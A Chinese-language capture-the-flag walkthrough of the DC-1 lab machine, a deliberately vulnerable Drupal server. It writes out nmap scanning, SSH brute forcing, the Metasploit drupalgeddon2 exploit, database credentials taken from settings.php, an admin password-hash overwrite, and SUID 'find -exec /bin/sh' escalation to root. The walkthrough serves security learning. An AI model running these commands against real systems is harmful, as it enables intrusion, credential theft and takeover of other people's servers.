0%

DC-1

DC-1

信息搜集

nmap扫描

1
nmap -A192.168.112.0/24

具体解释如下:

  • nmap:表示调用 nmap 工具进行扫描。

  • -A:启用”全面扫描”选项,包括操作系统检测、服务版本检测、脚本扫描和Traceroute等功能。

  • 192.168.124.0/24:指定要扫描的目标网络范围,即以 “192.168.124” 开头的所有IP地址。

  • /24代表一个 CIDR(Classless Inter-Domain Routing)子网掩码,用于指定 IP 地址的网络前缀长度。

    CIDR 是一种用于划分和分配 IP 地址的方法,它将一个 IP 地址划分为网络部分和主机部分。CIDR 标记形式为 x.x.x.x/y,其中 x.x.x.x 表示 IP 地址,y 表示网络前缀的位数。

    对于 /24,它表示 IP 地址的前 24 位是网络地址,剩余 8 位是主机地址。换句话说,这意味着将前 24 位设置为相同的 IP 地址都属于同一网络,可容纳 2^8-2 = 254 个主机(排除网络地址和广播地址)。

    具体到提供的示例 “192.168.124.0/24”,它表示以 “192.168.124” 开头的所有 IP 地址都属于同一网络,共有 256 个 IP 地址可用,其中 192.168.124.0 是网络地址,192.168.124.255 是广播地址,可以使用 192.168.124.1 到 192.168.124.254 的这 254 个 IP 地址作为主机地址。

也可使用

1
arp-scan -l

先扫出192.168.112.131

再使用

1
nmap -A -p 1-65535 192.168.112.131

更快一点

img

开启了22,80,111端口

1
2
3
4
5
6
22/tcp  open  ssh: 表示目标主机上的22端口开放,并且运行着SSH服务。
OpenSSH 6.0p1 Debian 4+deb7u7 (protocol 2.0): 这是远程主机上运行的SSH服务的版本信息。在这个例子中,SSH服务的版本是OpenSSH 6.0p1,运行在Debian 4+deb7u7操作系统上,协议版本为2.0。
ssh-hostkey: 这部分显示了SSH主机密钥的信息,用于验证SSH服务器的身份。在这个例子中,提供了三个密钥的类型和对应的指纹:
DSA密钥:大小为1024位,指纹为c4:d6:59:e6:77:4c:22:7a:96:16:60:67:8b:42:48:8f
RSA密钥:大小为2048位,指纹为11:82:fe:53:4e:dc:5b:32:7f:44:64:82:75:7d:d0:a0
ECDSA密钥:大小为256位,指纹为3d:aa:98:5c:87:af:ea:84:b8:23:68:8d:b9:05:5f:d8

SSH共有两种登录方式:

  1. 口令验证登录

    1. 服务器生成公钥和私钥。
    2. 客户端发起连接请求,服务器将公钥发给客户端。
    3. 客户端生成口令(服务器密码),并用服务器发来的公钥加密,发送给服务器。
    4. 服务器通过私钥解密,拿到口令(服务器密码),如果正确则认证成功。
  2. 密钥验证登录

    1. 客户端生成公钥和私钥,将公钥提前部署在服务器上。
    2. 客户端发起连接请求。
    3. 服务器随机生成一个字符串,用本地的公钥加密,发送给客户端。
    4. 客户端通过私钥解密,将解密后的字符串发送给服务器。
    5. 服务器验证本地字符串和客户端发来的字符串的一致性,如果通过,则认证成功。

22是一个ssh端口,可以尝试一下爆破密钥

1
nmap --script=ssh-brute 192.168.112.131

没有成功

img

访问IP

img

尝试了一下弱密码爆破,也没啥

但是有个admin用户是确定的

用火狐插件Wappalyzer扫了一下发现CMS是Drupal

img

msf getshell

使用msf搜索相关漏洞

1
2
msfconsole
>search Drupal

img

然后使用第二个漏洞

1
2
3
4
use exploit/unix/webapp/drupal_drupalgeddon2
set LPORT 9999
set RHOSTS 192.168.112.131
run

发现可以成功连接

img

执行命令

寻找一下flag相关文件

1
find / -name *flag*

有个/home/flag4/flag4.txt,还有个/var/www/flag1.txt

先cat /var/www/flag1.txt一下

提示:Every good CMS needs a config file - and so do you.

1
每个好的CMS都需要一个好的配置文件,你也一样

再cat /home/flag4/flag4.txt

提示

1
2
3
Can you use this same method to find or access the flag in root?

Probably. But perhaps it's not that easy. Or maybe it is?

应该是需要root权限

提取配置文件信息

先去看一下/var/www/sites/default/settings.php配置文件

1
cat /var/www/sites/default/settings.php

img

发现了flag2数据库的账号密码

获取数据库信息

先得使用一段python命令获得一个交互式shell,直接运行mysql连接命令连接不上

1
python -c 'import pty;pty.spawn("/bin/bash")'

使用pty模块来生成一个新的交互式bash终端,当在Kali Linux中执行该命令时,它将生成一个交互式bash终端,使您能够使用更多的shell功能和命令。

img

在users表中找到了管理员相关的信息

img

pass是经过hash加密得到的,爆破不了,邮箱也没有什么利用点

思路是尝试找到其加密脚本,利用其加密规则加密一个自定义的密码,然后替换管理员密码即可

1
cat /var/www/scripts/password-hash.sh
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
#!/usr/bin/php
<?php

/**
* Drupal hash script - to generate a hash from a plaintext password
*
* Check for your PHP interpreter - on Windows you'll probably have to
* replace line 1 with
* #!c:/program files/php/php.exe
*
* @param password1 [password2 [password3 ...]]
* Plain-text passwords in quotes (or with spaces backslash escaped).
*/

if (version_compare(PHP_VERSION, "5.2.0", "<")) {
$version = PHP_VERSION;
echo <<<EOF

ERROR: This script requires at least PHP version 5.2.0. You invoked it with
PHP version {$version}.
\n
EOF;
exit;
}

$script = basename(array_shift($_SERVER['argv']));

if (in_array('--help', $_SERVER['argv']) || empty($_SERVER['argv'])) {
echo <<<EOF

Generate Drupal password hashes from the shell.

Usage: {$script} [OPTIONS] "<plan-text password>"
Example: {$script} "mynewpassword"

All arguments are long options.

--help Print this page.

--root <path>

Set the working directory for the script to the specified path.
To execute this script this has to be the root directory of your
Drupal installation, e.g. /home/www/foo/drupal (assuming Drupal
running on Unix). Use surrounding quotation marks on Windows.

"<password1>" ["<password2>" ["<password3>" ...]]

One or more plan-text passwords enclosed by double quotes. The
output hash may be manually entered into the {users}.pass field to
change a password via SQL to a known value.

To run this script without the --root argument invoke it from the root directory
of your Drupal installation as

./scripts/{$script}
\n
EOF;
exit;
}

$passwords = array();

// Parse invocation arguments.
while ($param = array_shift($_SERVER['argv'])) {
switch ($param) {
case '--root':
// Change the working directory.
$path = array_shift($_SERVER['argv']);
if (is_dir($path)) {
chdir($path);
}
break;
default:
// Add a password to the list to be processed.
$passwords[] = $param;
break;
}
}

define('DRUPAL_ROOT', getcwd());

include_once DRUPAL_ROOT . '/includes/password.inc';
include_once DRUPAL_ROOT . '/includes/bootstrap.inc';

foreach ($passwords as $password) {
print("\npassword: $password \t\thash: ". user_hash_password($password) ."\n");
}
print("\n");

执行命令:

img

替换密码

img

登录管理员账户

img

Content中有个flag3

img

1
特殊权限将帮助找到密码,但您需要使用 "-exec" 命令来确定如何获取 shadow 文件中的内容

看一下文件内容

img

权限不够,尝试一下suid提权吧

img

有一个find命令

使用:

1
/usr/bin/find /tmp -exec whoami  \;
1
2
3
4
5
6
7
8
9
/usr/bin/find /tmp -exec whoami \; 这个命令是在 /tmp 目录下使用 find 命令,并执行 whoami 命令来查找当前用户的信息。

/usr/bin/find 是可执行文件 find 在系统中的绝对路径。/tmp 是要搜索的目录路径。

-exec 选项用于在每一个匹配的文件上执行后续的命令。这里的命令是 whoami,它会输出当前执行命令的用户身份。

\; 用于表示 -exec 选项的结束。

因此,该命令将在 /tmp 目录下搜索文件,并逐个执行 whoami 命令,输出当前用户的信息。

我们只管find可以执行命令就行了

获得交互式shell

1
find / -name 6 -exec "/bin/sh" \;

读取最后一个flag文件

1
2
cd /root
cat thefinalflag.txt

img